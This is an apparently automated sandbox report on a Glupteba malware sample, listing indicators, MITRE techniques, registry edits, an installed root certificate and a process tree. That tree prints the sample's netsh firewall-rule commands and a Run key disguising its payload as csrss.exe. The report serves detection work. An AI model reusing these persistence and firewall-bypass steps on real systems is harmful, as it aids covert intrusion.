glupteba | 9a59d10aa896213b14ce316e37e1cf143beae3e218fa1a0a59a4e8fb12d36d14

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04-06-2024 15:58

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General

Target

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
Size

3.7MB
MD5

956f93f6ca80f29e965e060671f9fe49
SHA1

ae17dc8820837dc4f627351c5a2e8534b1690202
SHA256

9a59d10aa896213b14ce316e37e1cf143beae3e218fa1a0a59a4e8fb12d36d14
SHA512

482c107e3789fdf16fc6d62121647afa9b7138400d4401b476683f842726105cb1a96ae479082f52b1ad4ee79dfbdc68c8efbb8988d467f8f62fa31db4997af1
SSDEEP

49152:nX1I6sBjwK2GkA8jGyGaeqm2c4LhMNXPllwEU/UHVzPbt02n1seshOGsfNRsH3km:XKBoG+jVeR2Jh8dlu6PBN1Wy7sa7K

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 21 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5076-2-0x0000000001AA0000-0x000000000219C000-memory.dmp	family_glupteba
behavioral2/memory/5076-3-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral2/memory/5076-5-0x0000000001AA0000-0x000000000219C000-memory.dmp	family_glupteba
behavioral2/memory/5076-4-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/5076-6-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral2/memory/1388-9-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1388-10-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1388-16-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-21-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-22-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-23-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-24-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-25-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-26-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-27-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-28-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-29-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-30-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-31-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-32-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba
behavioral2/memory/1700-33-0x0000000000400000-0x0000000001319000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4276 netsh.exe
4236 netsh.exe
Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1700 csrss.exe
4156 patch.exe

pid	process
4276	netsh.exe
4236	netsh.exe

pid	process
1700	csrss.exe
4156	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OldGrass = "\"C:\\Windows\\rss\\csrss.exe\""	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2788 bcdedit.exe
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

pid	process
2788	bcdedit.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

Drops file in Windows directory 2 IoCs

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

description	ioc	process
File opened for modification	C:\Windows\rss	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1088 schtasks.exe
1124 schtasks.exe

pid	process
1088	schtasks.exe
1124	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.execsrss.exe

pid	process
5076	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
5076	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
1700	csrss.exe
1700	csrss.exe
1700	csrss.exe
1700	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	5076	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
Token: SeImpersonatePrivilege	5076	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	1700	csrss.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 1388 wrote to memory of 3720	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	cmd.exe
PID 1388 wrote to memory of 3720	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	cmd.exe
PID 3720 wrote to memory of 4276	3720	cmd.exe	netsh.exe
PID 3720 wrote to memory of 4276	3720	cmd.exe	netsh.exe
PID 1388 wrote to memory of 780	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	cmd.exe
PID 1388 wrote to memory of 780	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	cmd.exe
PID 780 wrote to memory of 4236	780	cmd.exe	netsh.exe
PID 780 wrote to memory of 4236	780	cmd.exe	netsh.exe
PID 1388 wrote to memory of 1700	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	csrss.exe
PID 1388 wrote to memory of 1700	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	csrss.exe
PID 1388 wrote to memory of 1700	1388	956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe	csrss.exe
PID 1700 wrote to memory of 2788	1700	csrss.exe	bcdedit.exe
PID 1700 wrote to memory of 2788	1700	csrss.exe	bcdedit.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076

C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe"
2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4276

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\system32\netsh.exe
